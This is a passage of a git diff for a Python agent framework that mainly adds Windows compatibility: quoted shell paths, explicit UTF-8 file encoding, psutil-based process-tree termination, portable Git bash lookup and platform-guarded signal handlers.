json.loads(path.read_text(encoding="utf-8")) except Exception: pass return {} @@ -146,7 +167,7 @@ def _load_json_store(path: Path) -> dict: def _save_json_store(path: Path, data: dict) -> None: """Write *data* as pretty-printed JSON to *path*.""" path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(json.dumps(data, indent=2)) + path.write_text(json.dumps(data, indent=2), encoding="utf-8") def _file_mtime_key(host_path: str) -> tuple[float, int] | None: @@ -339,15 +360,24 @@ class BaseEnvironment(ABC): # change the working directory (e.g. bashrc `cd ~`). Without this, # pwd -P captures the profile's directory, not terminal.cwd. _quoted_cwd = shlex.quote(self.cwd) + # Quote the snapshot / cwd-file paths so Git Bash on Windows handles + # ``C:/Users/...``-shaped paths without glob-splitting the colon or + # tripping on drive letters. On POSIX this is a no-op (no colons / + # special chars in a /tmp path). Previously unquoted interpolation + # caused ``C:/Users/.../hermes-snap-*.sh: No such file or directory`` + # errors on Windows, leaking via stderr (merged into stdout on Linux + # backends) into every terminal-tool response. + _quoted_snap = shlex.quote(self._snapshot_path) + _quoted_cwd_file = shlex.quote(self._cwd_file) bootstrap = ( - f"export -p > {self._snapshot_path}\n" - f"declare -f | grep -vE '^_[^_]' >> {self._snapshot_path}\n" - f"alias -p >> {self._snapshot_path}\n" - f"echo 'shopt -s expand_aliases' >> {self._snapshot_path}\n" - f"echo 'set +e' >> {self._snapshot_path}\n" - f"echo 'set +u' >> {self._snapshot_path}\n" + f"export -p > {_quoted_snap}\n" + f"declare -f | grep -vE '^_[^_]' >> {_quoted_snap}\n" + f"alias -p >> {_quoted_snap}\n" + f"echo 'shopt -s expand_aliases' >> {_quoted_snap}\n" + f"echo 'set +e' >> {_quoted_snap}\n" + f"echo 'set +u' >> {_quoted_snap}\n" f"builtin cd {_quoted_cwd} 2>/dev/null || true\n" - f"pwd -P > {self._cwd_file} 2>/dev/null || true\n" + f"pwd -P > {_quoted_cwd_file} 2>/dev/null || true\n" f"printf '\\n{self._cwd_marker}%s{self._cwd_marker}\\n' \"$(pwd -P)\"\n" ) try: @@ -389,6 +419,13 @@ class BaseEnvironment(ABC): re-dumps env vars, and emits CWD markers.""" escaped = command.replace("'", "'\\''") + # Quote the snapshot / cwd-file paths so Git Bash on Windows handles + # ``C:/Users/...``-shaped paths without glob-splitting the colon or + # tripping on drive letters. POSIX paths are unaffected. See + # :meth:`init_session` for the same fix on the bootstrap block. + _quoted_snap = shlex.quote(self._snapshot_path) + _quoted_cwd_file = shlex.quote(self._cwd_file) + parts = [] # Source snapshot (env vars from previous commands). @@ -399,7 +436,7 @@ class BaseEnvironment(ABC): # silent here, but the redirect is harmless. if self._snapshot_ready: parts.append( - f"source {self._snapshot_path} >/dev/null 2>&1 || true" + f"source {_quoted_snap} >/dev/null 2>&1 || true" ) # Preserve bare ``~`` expansion, but rewrite ``~/...`` through @@ -414,10 +451,10 @@ class BaseEnvironment(ABC): # Re-dump env vars to snapshot (last-writer-wins for concurrent calls) if self._snapshot_ready: - parts.append(f"export -p > {self._snapshot_path} 2>/dev/null || true") + parts.append(f"export -p > {_quoted_snap} 2>/dev/null || true") # Write CWD to file (local reads this) and stdout marker (remote parses this) - parts.append(f"pwd -P > {self._cwd_file} 2>/dev/null || true") + parts.append(f"pwd -P > {_quoted_cwd_file} 2>/dev/null || true") # Use a distinct line for the marker. The leading \n ensures # the marker starts on its own line even if the command doesn't # end with a newline (e.g. printf 'exact'). We'll strip this diff --git a/tools/environments/file_sync.py b/tools/environments/file_sync.py index 742e024ad86..b778be87eb8 100644 --- a/tools/environments/file_sync.py +++ b/tools/environments/file_sync.py @@ -284,7 +284,7 @@ class FileSyncManager: # Windows: no flock — run without serialization self._sync_back_impl() return - lock_fd = open(lock_path, "w") + lock_fd = open(lock_path, "w", encoding="utf-8") try: fcntl.flock(lock_fd, fcntl.LOCK_EX) self._sync_back_impl() diff --git a/tools/environments/local.py b/tools/environments/local.py index f9094ee5b79..985bf4bdce8 100644 --- a/tools/environments/local.py +++ b/tools/environments/local.py @@ -9,6 +9,7 @@ import signal import subprocess import tempfile import time +from pathlib import Path from tools.environments.base import BaseEnvironment, _pipe_stdin @@ -189,6 +190,25 @@ def _find_bash() -> str: if custom and os.path.isfile(custom): return custom + # Prefer our own portable Git install first — this way a broken or + # partially-uninstalled system Git can't hijack the bash lookup. The + # install.ps1 installer always drops portable Git here when the user + # didn't already have a working system Git. + # + # Layouts (both checked so upgrades between MinGit and PortableGit + # installs work transparently): + # PortableGit: %LOCALAPPDATA%\hermes\git\bin\bash.exe (primary) + # MinGit: %LOCALAPPDATA%\hermes\git\usr\bin\bash.exe (legacy/32-bit fallback) + _local_appdata = os.environ.get("LOCALAPPDATA", "") + _hermes_portable_git = os.path.join(_local_appdata, "hermes", "git") if _local_appdata else "" + if _hermes_portable_git: + for candidate in ( + os.path.join(_hermes_portable_git, "bin", "bash.exe"), # PortableGit (primary) + os.path.join(_hermes_portable_git, "usr", "bin", "bash.exe"), # MinGit fallback + ): + if os.path.isfile(candidate): + return candidate + found = shutil.which("bash") if found: return found @@ -196,7 +216,7 @@ def _find_bash() -> str: for candidate in ( os.path.join(os.environ.get("ProgramFiles", r"C:\Program Files"), "Git", "bin", "bash.exe"), os.path.join(os.environ.get("ProgramFiles(x86)", r"C:\Program Files (x86)"), "Git", "bin", "bash.exe"), - os.path.join(os.environ.get("LOCALAPPDATA", ""), "Programs", "Git", "bin", "bash.exe"), + os.path.join(_local_appdata, "Programs", "Git", "bin", "bash.exe"), ): if candidate and os.path.isfile(candidate): return candidate @@ -235,7 +255,15 @@ def _make_run_env(env: dict) -> dict: elif k not in _HERMES_PROVIDER_ENV_BLOCKLIST or _is_passthrough(k): run_env[k] = v existing_path = run_env.get("PATH", "") - if "/usr/bin" not in existing_path.split(":"): + # The "/usr/bin not already present → inject sane POSIX path" heuristic + # only makes sense on POSIX. On Windows the PATH separator is ";" + # (the split(":") above turns a full Windows PATH into a single + # unrecognisable chunk, which then triggers prepending POSIX paths + # to a Windows PATH — completely wrong). Skip the injection entirely + # on Windows; the native PATH already points at whatever shell + # Hermes is driving via _find_bash (Git Bash), and Git Bash itself + # prepends its MSYS2 /usr/bin equivalent via the shell-init files. + if not _IS_WINDOWS and "/usr/bin" not in existing_path.split(":"): run_env["PATH"] = f"{existing_path}:{_SANE_PATH}" if existing_path else _SANE_PATH # Per-profile HOME isolation: redirect system tool configs (git, ssh, gh, @@ -357,7 +385,29 @@ class LocalEnvironment(BaseEnvironment): Check the environment configured for this backend first so callers can override the temp root explicitly (for example via terminal.env or a custom TMPDIR), then fall back to the host process environment. + + **Windows:** hardcoded ``/tmp`` is wrong in two ways — native Python + can't open the path, and the Windows default temp (``%TEMP%``) often + contains spaces (``C:\\Users\\Some Name\\AppData\\Local\\Temp``) that + break unquoted bash interpolations. Use a dedicated cache dir under + ``HERMES_HOME`` instead — single-word path, guaranteed to exist, same + string resolves in both Git Bash and native Python. """ + if _IS_WINDOWS: + # Derive a Windows-safe temp dir under HERMES_HOME. Using + # forward slashes makes the same string work unchanged in bash + # command interpolations AND in Python ``open()`` — Windows + # accepts forward slashes in filesystem paths, and we control + # the path so we can guarantee no spaces. + try: + from hermes_constants import get_hermes_home + cache_dir = get_hermes_home() / "cache" / "terminal" + except Exception: + cache_dir = Path(tempfile.gettempdir()) / "hermes_terminal" + cache_dir.mkdir(parents=True, exist_ok=True) + # Force forward slashes so the same string serves both contexts. + return str(cache_dir).replace("\\", "/") + for env_var in ("TMPDIR", "TMP", "TEMP"): candidate = self.env.get(env_var) or os.environ.get(env_var) if candidate and candidate.startswith("/"): @@ -439,7 +489,7 @@ class LocalEnvironment(BaseEnvironment): def _group_alive(pgid: int) -> bool: try: # POSIX-only: _IS_WINDOWS is handled before this helper is used. - os.killpg(pgid, 0) + os.killpg(pgid, 0) # windows-footgun: ok — POSIX process-group alive probe return True except ProcessLookupError: return False @@ -477,7 +527,7 @@ class LocalEnvironment(BaseEnvironment): raise try: - os.killpg(pgid, signal.SIGTERM) + os.killpg(pgid, signal.SIGTERM) # windows-footgun: ok — POSIX process-group SIGTERM (guarded by _IS_WINDOWS above) except ProcessLookupError: return @@ -489,7 +539,7 @@ class LocalEnvironment(BaseEnvironment): try: # POSIX-only: _IS_WINDOWS is handled by the outer branch. - os.killpg(pgid, signal.SIGKILL) + os.killpg(pgid, signal.SIGKILL) # windows-footgun: ok — POSIX process-group SIGKILL except ProcessLookupError: return _wait_for_group_exit(pgid, 2.0) @@ -512,7 +562,7 @@ class LocalEnvironment(BaseEnvironment): ``_run_bash`` recovery path will resolve a safe fallback if needed. """ try: - with open(self._cwd_file) as f: + with open(self._cwd_file, encoding="utf-8") as f: cwd_path = f.read().strip() if cwd_path and os.path.isdir(cwd_path): self.cwd = cwd_path diff --git a/tools/feishu_doc_tool.py b/tools/feishu_doc_tool.py index f334b915e9b..6d2aad8fc6c 100644 --- a/tools/feishu_doc_tool.py +++ b/tools/feishu_doc_tool.py @@ -52,10 +52,17 @@ FEISHU_DOC_READ_SCHEMA = { def _check_feishu(): + # Use ``importlib.util.find_spec`` — it checks whether ``lark_oapi`` + # is importable without actually executing its ``__init__``. + # Executing the real import here costs ~5 seconds (the SDK eagerly + # loads websockets, dispatcher, every api/v2 model) and this probe + # fires at every ``hermes`` startup during tool-availability + # evaluation. Correctness is preserved because the actual tool + # handler still does the real import when invoked. + import importlib.util try: - import lark_oapi # noqa: F401 - return True - except ImportError: + return importlib.util.find_spec("lark_oapi") is not None + except (ImportError, ValueError): return False diff --git a/tools/feishu_drive_tool.py b/tools/feishu_drive_tool.py index 5742acf0583..76e50ca8006 100644 --- a/tools/feishu_drive_tool.py +++ b/tools/feishu_drive_tool.py @@ -28,10 +28,12 @@ def get_client(): def _check_feishu(): + # See ``tools/feishu_doc_tool.py::_check_feishu`` — ``find_spec`` keeps + # CLI startup fast (the SDK itself takes ~5s to import eagerly). + import importlib.util try: - import lark_oapi # noqa: F401 - return True - except ImportError: + return importlib.util.find_spec("lark_oapi") is not None + except (ImportError, ValueError): return False diff --git a/tools/file_operations.py b/tools/file_operations.py index 92a948eaaf7..022943d9f0e 100644 --- a/tools/file_operations.py +++ b/tools/file_operations.py @@ -966,11 +966,21 @@ class ShellFileOperations(FileOperations): verify_result = self._exec(verify_cmd) if verify_result.exit_code != 0: return PatchResult(error=f"Post-write verification failed: could not re-read {path}") - if verify_result.stdout != new_content: + # Normalize line endings before comparing. On Windows, Python's + # default text-mode ``open()`` translates ``\n`` → ``\r\n`` on + # write, so the file on disk legitimately holds CRLFs while our + # ``new_content`` string has bare LFs. Without this normalization + # every patch on Windows returns a bogus "wrote 39, read 42" + # false-negative even though the edit landed correctly. POSIX + # backends don't translate, so this is a no-op there. + _verify_stdout_normalized = verify_result.stdout.replace("\r\n", "\n").replace("\r", "\n") + _new_content_normalized = new_content.replace("\r\n", "\n").replace("\r", "\n") + if _verify_stdout_normalized != _new_content_normalized: return PatchResult(error=( f"Post-write verification failed for {path}: on-disk content " f"differs from intended write " - f"(wrote {len(new_content)} chars, read back {len(verify_result.stdout)}). " + f"(wrote {len(_new_content_normalized)} chars, read back " + f"{len(_verify_stdout_normalized)} chars after normalizing line endings). " "The patch did not persist. Re-read the file and try again." )) diff --git a/tools/file_tools.py b/tools/file_tools.py index 200287dcbd5..c197061ade1 100644 --- a/tools/file_tools.py +++ b/tools/file_tools.py @@ -1055,19 +1055,48 @@ WRITE_FILE_SCHEMA = { PATCH_SCHEMA = { "name": "patch", - "description": "Targeted find-and-replace edits in files. Use this instead of sed/awk in terminal. Uses fuzzy matching (9 strategies) so minor whitespace/indentation differences won't break it. Returns a unified diff. Auto-runs syntax checks after editing.\n\nReplace mode (default): find a unique string and replace it.\nPatch mode: apply V4A multi-file patches for bulk changes.", + "description": ( + "Targeted find-and-replace edits in files. Use this instead of sed/awk in terminal. " + "Uses fuzzy matching (9 strategies) so minor whitespace/indentation differences won't break it. " + "Returns a unified diff. Auto-runs syntax checks after editing.\n\n" + "REPLACE MODE (mode='replace', default): find a unique string and replace it. " + "REQUIRED PARAMETERS: mode, path, old_string, new_string.\n" + "PATCH MODE (mode='patch'): apply V4A multi-file patches for bulk changes. " + "REQUIRED PARAMETERS: mode, patch." + ), "parameters": { "type": "object", "properties": { - "mode": {"type": "string", "enum": ["replace", "patch"], "description": "Edit mode: 'replace' for targeted find-and-replace, 'patch' for V4A multi-file patches", "default": "replace"}, - "path": {"type": "string", "description": "File path to edit (required for 'replace' mode)"}, - "old_string": {"type": "string", "description": "Text to find in the file (required for 'replace' mode). Must be unique in the file unless replace_all=true. Include enough surrounding context to ensure uniqueness."}, - "new_string": {"type": "string", "description": "Replacement text (required for 'replace' mode). Can be empty string to delete the matched text."}, - "replace_all": {"type": "boolean", "description": "Replace all occurrences instead of requiring a unique match (default: false)", "default": False}, - "patch": {"type": "string", "description": "V4A format patch content (required for 'patch' mode). Format:\n*** Begin Patch\n*** Update File: path/to/file\n@@ context hint @@\n context line\n-removed line\n+added line\n*** End Patch"} + "mode": { + "type": "string", + "enum": ["replace", "patch"], + "description": "Edit mode. 'replace' (default): requires path + old_string + new_string. 'patch': requires patch content only.", + "default": "replace", + }, + "path": { + "type": "string", + "description": "REQUIRED when mode='replace'. File path to edit.", + }, + "old_string": { + "type": "string", + "description": "REQUIRED when mode='replace'. Exact text to find and replace. Must be unique in the file unless replace_all=true. Include surrounding context lines to ensure uniqueness.", + }, + "new_string": { + "type": "string", + "description": "REQUIRED when mode='replace'. Replacement text. Pass empty string '' to delete the matched text.", + }, + "replace_all": { + "type": "boolean", + "description": "Replace all occurrences instead of requiring a unique match (default: false)", + "default": False, + }, + "patch": { + "type": "string", + "description": "REQUIRED when mode='patch'. V4A format patch content. Format:\n*** Begin Patch\n*** Update File: path/to/file\n@@ context hint @@\n context line\n-removed line\n+added line\n*** End Patch", + }, }, - "required": ["mode"] - } + "required": ["mode"], + }, } SEARCH_FILES_SCHEMA = { diff --git a/tools/mcp_tool.py b/tools/mcp_tool.py index 73480ada9f5..1e10b276f1e 100644 --- a/tools/mcp_tool.py +++ b/tools/mcp_tool.py @@ -1251,9 +1251,10 @@ class MCPServerTask: for _pid in new_pids: _stdio_pids.pop(_pid, None) for pid in new_pids: - try: - os.kill(pid, 0) # signal 0: probe liveness only - except (ProcessLookupError, PermissionError, OSError): + # ``os.kill(pid, 0)`` is NOT a no-op on Windows + # (bpo-14484). Use the cross-platform check. + from gateway.status import _pid_exists + if not _pid_exists(pid): continue # process already exited — nothing to do _orphan_stdio_pids.add(pid) @@ -1992,7 +1993,7 @@ def _snapshot_child_pids() -> set: # Linux: read from /proc try: children_path = f"/proc/{my_pid}/task/{my_pid}/children" - with open(children_path) as f: + with open(children_path, encoding="utf-8") as f: return {int(p) for p in f.read().split() if p.strip()} except (FileNotFoundError, OSError, ValueError): pass @@ -3369,16 +3370,20 @@ def _kill_orphaned_mcp_children(include_active: bool = False) -> None: # Phase 3: SIGKILL any survivors _sigkill = getattr(_signal, "SIGKILL", _signal.SIGTERM) + # ``os.kill(pid, 0)`` is NOT a no-op on Windows. Use the cross-platform + # existence check before escalating to SIGKILL. + from gateway.status import _pid_exists for pid, server_name in pids.items(): + if not _pid_exists(pid): + continue # Good — exited after SIGTERM try: - os.kill(pid, 0) # Check if still alive os.kill(pid, _sigkill) logger.warning( "Force-killed MCP process %d (%s) after SIGTERM timeout", pid, server_name, ) except (ProcessLookupError, PermissionError, OSError): - pass # Good — exited after SIGTERM + pass def _stop_mcp_loop(): diff --git a/tools/memory_tool.py b/tools/memory_tool.py index 0de12a64f38..80ee3c63d67 100644 --- a/tools/memory_tool.py +++ b/tools/memory_tool.py @@ -159,7 +159,7 @@ class MemoryStore: if msvcrt and (not lock_path.exists() or lock_path.stat().st_size == 0): lock_path.write_text(" ", encoding="utf-8") - fd = open(lock_path, "r+" if msvcrt else "a+") + fd = open(lock_path, "r+" if msvcrt else "a+", encoding="utf-8") try: if fcntl: fcntl.flock(fd, fcntl.LOCK_EX) diff --git a/tools/process_registry.py b/tools/process_registry.py index 0fc312185d1..d4c602bb4ce 100644 --- a/tools/process_registry.py +++ b/tools/process_registry.py @@ -404,11 +404,10 @@ class ProcessRegistry: """Best-effort liveness check for host-visible PIDs.""" if not pid: return False - try: - os.kill(pid, 0) - return True - except (ProcessLookupError, PermissionError): - return False + # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484) — use + # the cross-platform existence check. + from gateway.status import _pid_exists + return _pid_exists(pid) def _refresh_detached_session(self, session: Optional[ProcessSession]) -> Optional[ProcessSession]: """Update recovered host-PID sessions when the underlying process has exited.""" @@ -436,10 +435,22 @@ class ProcessRegistry: os.kill(pid, signal.SIGTERM) return + import psutil try: - os.killpg(os.getpgid(pid), signal.SIGTERM) - except (OSError, ProcessLookupError, PermissionError): - os.kill(pid, signal.SIGTERM) + parent = psutil.Process(pid) + for child in parent.children(recursive=True): + try: + child.terminate() + except psutil.NoSuchProcess: + pass + parent.terminate() + except psutil.NoSuchProcess: + return + except (OSError, PermissionError): + try: + os.kill(pid, signal.SIGTERM) + except (OSError, ProcessLookupError, PermissionError): + pass # ----- Spawn ----- @@ -1033,12 +1044,22 @@ class ProcessRegistry: if session.pid: os.kill(session.pid, signal.SIGTERM) elif session.process: - # Local process -- kill the process group + # Local process -- kill the process tree try: if _IS_WINDOWS: session.process.terminate() else: - os.killpg(os.getpgid(session.process.pid), signal.SIGTERM) + import psutil + try: + parent = psutil.Process(session.process.pid) + for child in parent.children(recursive=True): + try: + child.terminate() + except psutil.NoSuchProcess: + pass + parent.terminate() + except psutil.NoSuchProcess: + pass except (ProcessLookupError, PermissionError): session.process.kill() elif session.env_ref and session.pid: diff --git a/tools/rl_training_tool.py b/tools/rl_training_tool.py index 7a6478b42c9..d2a5c3bfbb5 100644 --- a/tools/rl_training_tool.py +++ b/tools/rl_training_tool.py @@ -169,7 +169,7 @@ def _scan_environments() -> List[EnvironmentInfo]: continue try: - with open(py_file, "r") as f: + with open(py_file, "r", encoding="utf-8") as f: tree = ast.parse(f.read()) for node in ast.walk(tree): @@ -333,7 +333,7 @@ async def _spawn_training_run(run_state: RunState, config_path: Path): # File must stay open while the subprocess runs; we store the handle # on run_state so _stop_training_run() can close it when done. - api_log_file = open(api_log, "w") # closed by _stop_training_run + api_log_file = open(api_log, "w", encoding="utf-8") # closed by _stop_training_run run_state.api_log_file = api_log_file run_state.api_process = subprocess.Popen( ["run-api"], @@ -356,7 +356,7 @@ async def _spawn_training_run(run_state: RunState, config_path: Path): # Step 2: Start the Tinker trainer logger.info("[%s] Starting Tinker trainer: launch_training.py --config %s", run_id, config_path) - trainer_log_file = open(trainer_log, "w") # closed by _stop_training_run + trainer_log_file = open(trainer_log, "w", encoding="utf-8") # closed by _stop_training_run run_state.trainer_log_file = trainer_log_file run_state.trainer_process = subprocess.Popen( [sys.executable, "launch_training.py", "--config", str(config_path)], @@ -397,7 +397,7 @@ async def _spawn_training_run(run_state: RunState, config_path: Path): logger.info("[%s] Starting environment: %s serve", run_id, env_info.file_path) - env_log_file = open(env_log, "w") # closed by _stop_training_run + env_log_file = open(env_log, "w", encoding="utf-8") # closed by _stop_training_run run_state.env_log_file = env_log_file run_state.env_process = subprocess.Popen( [sys.executable, str(env_info.file_path), "serve", "--config", str(config_path)], @@ -777,7 +777,7 @@ async def rl_start_training() -> str: if "wandb_name" in _current_config and _current_config["wandb_name"]: run_config["env"]["wandb_name"] = _current_config["wandb_name"] - with open(config_path, "w") as f: + with open(config_path, "w", encoding="utf-8") as f: yaml.dump(run_config, f, default_flow_style=False) # Create run state @@ -1206,7 +1206,7 @@ async def rl_test_inference( stderr_text = "\n".join(stderr_lines) # Write logs to files for inspection outside CLI - with open(log_file, "w") as f: + with open(log_file, "w", encoding="utf-8") as f: f.write(f"Command: {cmd_display}\n") f.write(f"Working dir: {TINKER_ATROPOS_ROOT}\n") f.write(f"Return code: {process.returncode}\n") @@ -1238,7 +1238,7 @@ async def rl_test_inference( # Parse the output JSONL file if output_file.exists(): # Read JSONL file (one JSON object per line = one step) - with open(output_file, "r") as f: + with open(output_file, "r", encoding="utf-8") as f: for line in f: line = line.strip() if not line: diff --git a/tools/skill_usage.py b/tools/skill_usage.py index 88bca75219b..e25f1365446 100644 --- a/tools/skill_usage.py +++ b/tools/skill_usage.py @@ -76,7 +76,7 @@ def _usage_file_lock(): if msvcrt and (not lock_path.exists() or lock_path.stat().st_size == 0): lock_path.write_text(" ", encoding="utf-8") - fd = open(lock_path, "r+" if msvcrt else "a+") + fd = open(lock_path, "r+" if msvcrt else "a+", encoding="utf-8") try: if fcntl: fcntl.flock(fd, fcntl.LOCK_EX) diff --git a/tools/skills_hub.py b/tools/skills_hub.py index aaeabd2c289..17d1a456957 100644 --- a/tools/skills_hub.py +++ b/tools/skills_hub.py @@ -219,7 +219,7 @@ class GitHubAuth: key_file = Path(key_path) if not key_file.exists(): return None - private_key = key_file.read_text() + private_key = key_file.read_text(encoding="utf-8") now = int(time.time()) payload = { @@ -2667,7 +2667,7 @@ def append_audit_log(action: str, skill_name: str, source: str, parts.append(extra) line = " ".join(parts) + "\n" try: - with open(AUDIT_LOG, "a") as f: + with open(AUDIT_LOG, "a", encoding="utf-8") as f: f.write(line) except OSError as e: logger.debug("Could not write audit log: %s", e) diff --git a/tools/tirith_security.py b/tools/tirith_security.py index 2d0ebf49717..bad94c96f7f 100644 --- a/tools/tirith_security.py +++ b/tools/tirith_security.py @@ -126,7 +126,7 @@ def _read_failure_reason() -> str | None: mtime = os.path.getmtime(p) if (time.time() - mtime) >= _MARKER_TTL: return None - with open(p, "r") as f: + with open(p, "r", encoding="utf-8") as f: return f.read().strip() except OSError: return None @@ -160,7 +160,7 @@ def _mark_install_failed(reason: str = ""): try: p = _failure_marker_path() os.makedirs(os.path.dirname(p), exist_ok=True) - with open(p, "w") as f: + with open(p, "w", encoding="utf-8") as f: f.write(reason) except OSError: pass @@ -257,7 +257,7 @@ def _verify_cosign(checksums_path: str, sig_path: str, cert_path: str) -> bool | def _verify_checksum(archive_path: str, checksums_path: str, archive_name: str) -> bool: """Verify SHA-256 of the archive against checksums.txt.""" expected = None - with open(checksums_path) as f: + with open(checksums_path, encoding="utf-8") as f: for line in f: # Format: " " parts = line.strip().split(" ", 1) diff --git a/tools/tts_tool.py b/tools/tts_tool.py index 8b82e1665b2..7a190081a10 100644 --- a/tools/tts_tool.py +++ b/tools/tts_tool.py @@ -541,9 +541,16 @@ def _terminate_command_tts_process_tree(proc: subprocess.Popen) -> None: proc.kill() return + import psutil try: - os.killpg(proc.pid, signal.SIGTERM) - except ProcessLookupError: + parent = psutil.Process(proc.pid) + for child in parent.children(recursive=True): + try: + child.terminate() + except psutil.NoSuchProcess: + pass + parent.terminate() + except psutil.NoSuchProcess: return except Exception: proc.terminate() @@ -555,8 +562,14 @@ def _terminate_command_tts_process_tree(proc: subprocess.Popen) -> None: pass try: - os.killpg(proc.pid, signal.SIGKILL) - except ProcessLookupError: + parent = psutil.Process(proc.pid) + for child in parent.children(recursive=True): + try: + child.kill() + except psutil.NoSuchProcess: + pass + parent.kill() + except psutil.NoSuchProcess: return except Exception: proc.kill() diff --git a/tools/voice_mode.py b/tools/voice_mode.py index 66ecb242c67..6166ade2a3f 100644 --- a/tools/voice_mode.py +++ b/tools/voice_mode.py @@ -110,7 +110,7 @@ def detect_audio_environment() -> dict: # WSL detection — PulseAudio bridge makes audio work in WSL. # Only block if PULSE_SERVER is not configured. try: - with open('/proc/version', 'r') as f: + with open('/proc/version', 'r', encoding="utf-8") as f: if 'microsoft' in f.read().lower(): if os.environ.get('PULSE_SERVER'): notices.append("Running in WSL with PulseAudio bridge") diff --git a/tools/web_tools.py b/tools/web_tools.py index 55fe5b1d689..687a06f7464 100644 --- a/tools/web_tools.py +++ b/tools/web_tools.py @@ -284,24 +284,28 @@ def _firecrawl_backend_help_suffix() -> str: def _web_requires_env() -> list[str]: - """Return tool metadata env vars for the currently enabled web backends.""" - requires = [ + """Return tool metadata env vars for the currently enabled web backends. + + The gateway env vars are always reported — they're metadata strings + used by the tool registry to light up the tool when the variable is + set. Gating them on ``managed_nous_tools_enabled()`` only saved + string noise in the metadata list, but cost a synchronous HTTP + refresh against the Nous portal on every CLI startup (invoked at + tool-registration time). The behavioral contract is: if the env var + is set, the tool sees it; if not, it doesn't. Not-logged-in users + simply don't have the vars set, so the extra entries are harmless. + """ + return [ "EXA_API_KEY", "PARALLEL_API_KEY", "TAVILY_API_KEY", "FIRECRAWL_API_KEY", "FIRECRAWL_API_URL", + "FIRECRAWL_GATEWAY_URL", + "TOOL_GATEWAY_DOMAIN", + "TOOL_GATEWAY_SCHEME", + "TOOL_GATEWAY_USER_TOKEN", ] - if managed_nous_tools_enabled(): - requires.extend( - [ - "FIRECRAWL_GATEWAY_URL", - "TOOL_GATEWAY_DOMAIN", - "TOOL_GATEWAY_SCHEME", - "TOOL_GATEWAY_USER_TOKEN", - ] - ) - return requires def _get_firecrawl_client(): diff --git a/trajectory_compressor.py b/trajectory_compressor.py index 2efdeaf165f..fcf699d1fdc 100644 --- a/trajectory_compressor.py +++ b/trajectory_compressor.py @@ -125,7 +125,7 @@ class CompressionConfig: @classmethod def from_yaml(cls, yaml_path: str) -> "CompressionConfig": """Load configuration from YAML file.""" - with open(yaml_path, 'r') as f: + with open(yaml_path, 'r', encoding="utf-8") as f: data = yaml.safe_load(f) config = cls() @@ -1174,7 +1174,7 @@ Write only the summary, starting with "[CONTEXT SUMMARY]:" prefix.""" # Save metrics if self.config.metrics_enabled: metrics_path = output_dir / self.config.metrics_output_file - with open(metrics_path, 'w') as f: + with open(metrics_path, 'w', encoding="utf-8") as f: json.dump(self.aggregate_metrics.to_dict(), f, indent=2) console.print(f"\n💾 Metrics saved to {metrics_path}") diff --git a/tui_gateway/entry.py b/tui_gateway/entry.py index 0fe87ca49c5..12d53c6d2e5 100644 --- a/tui_gateway/entry.py +++ b/tui_gateway/entry.py @@ -81,11 +81,14 @@ def _log_signal(signum: int, frame) -> None: thread, and fall back to ``os._exit(0)`` so a wedged write/flush can never strand the process. """ - name = { - signal.SIGPIPE: "SIGPIPE", - signal.SIGTERM: "SIGTERM", - signal.SIGHUP: "SIGHUP", - }.get(signum, f"signal {signum}") + # SIGPIPE and SIGHUP don't exist on Windows — build the lookup + # dict from attributes that actually exist on the current platform. + _signal_names: dict[int, str] = {} + for _attr in ("SIGPIPE", "SIGTERM", "SIGHUP", "SIGINT", "SIGBREAK"): + _sig = getattr(signal, _attr, None) + if _sig is not None: + _signal_names[int(_sig)] = _attr + name = _signal_names.get(signum, f"signal {signum}") try: os.makedirs(os.path.dirname(_CRASH_LOG), exist_ok=True) with open(_CRASH_LOG, "a", encoding="utf-8") as f: @@ -140,10 +143,23 @@ def _log_signal(signum: int, frame) -> None: # sys.exit(0) + _log_exit), which keeps the gateway alive as long as # the main command pipe is still readable. Terminal signals still # route through _log_signal so kills and hangups are diagnosable. -signal.signal(signal.SIGPIPE, signal.SIG_IGN) -signal.signal(signal.SIGTERM, _log_signal) -signal.signal(signal.SIGHUP, _log_signal) -signal.signal(signal.SIGINT, signal.SIG_IGN) +# +# SIGPIPE and SIGHUP don't exist on Windows; guard each installation +# with hasattr so ``python -m tui_gateway.entry`` (spawned by +# ``hermes --tui``) imports cleanly there. SIGBREAK (Windows' Ctrl+Break) +# is installed when available as a weaker equivalent of SIGHUP. +if hasattr(signal, "SIGPIPE"): + signal.signal(signal.SIGPIPE, signal.SIG_IGN) +if hasattr(signal, "SIGTERM"): + signal.signal(signal.SIGTERM, _log_signal) +if hasattr(signal, "SIGHUP"): + signal.signal(signal.SIGHUP, _log_signal) +elif hasattr(signal, "SIGBREAK"): + # Windows-only: Ctrl+Break in a console window delivers SIGBREAK. + # Route it through the same handler so kills are diagnosable. + signal.signal(signal.SIGBREAK, _log_signal) +if hasattr(signal, "SIGINT"): + signal.signal(signal.SIGINT, signal.SIG_IGN) def _log_exit(reason: str) -> None: diff --git a/tui_gateway/server.py b/tui_gateway/server.py index c8b7a18c2db..6d327efa493 100644 --- a/tui_gateway/server.py +++ b/tui_gateway/server.py @@ -733,7 +733,7 @@ def _load_cfg() -> dict: if _cfg_cache is not None and _cfg_mtime == mtime and _cfg_path == p: return copy.deepcopy(_cfg_cache) if p.exists(): - with open(p) as f: + with open(p, encoding="utf-8") as f: data = yaml.safe_load(f) or {} else: data = {} @@ -752,7 +752,7 @@ def _save_cfg(cfg: dict): import yaml path = _hermes_home / "config.yaml" - with open(path, "w") as f: + with open(path, "w", encoding="utf-8") as f: yaml.safe_dump(cfg, f) with _cfg_lock: _cfg_cache = copy.deepcopy(cfg) @@ -2964,7 +2964,7 @@ def _(rid, params: dict) -> dict: f"hermes_conversation_{_time.strftime('%Y%m%d_%H%M%S')}.json" ) try: - with open(filename, "w") as f: + with open(filename, "w", encoding="utf-8") as f: json.dump( { "model": getattr(session["agent"], "model", ""), diff --git a/ui-tui/packages/hermes-ink/src/ink/render-node-to-output.ts b/ui-tui/packages/hermes-ink/src/ink/render-node-to-output.ts index 50c9241c5d0..a31753c722a 100644 --- a/ui-tui/packages/hermes-ink/src/ink/render-node-to-output.ts +++ b/ui-tui/packages/hermes-ink/src/ink/render-node-to-output.ts @@ -260,23 +260,6 @@ function applyStylesToWrappedText( for (let lineIdx = 0; lineIdx < lines.length; lineIdx++) { const line = lines[lineIdx]! - // In trim mode, skip leading whitespace that was trimmed from this line. - // Only skip if the original has whitespace but the output line doesn't start - // with whitespace (meaning it was trimmed). If both have whitespace, the - // whitespace was preserved and we shouldn't skip. - if (trimEnabled && line.length > 0) { - const lineStartsWithWhitespace = /\s/.test(line[0]!) - - const 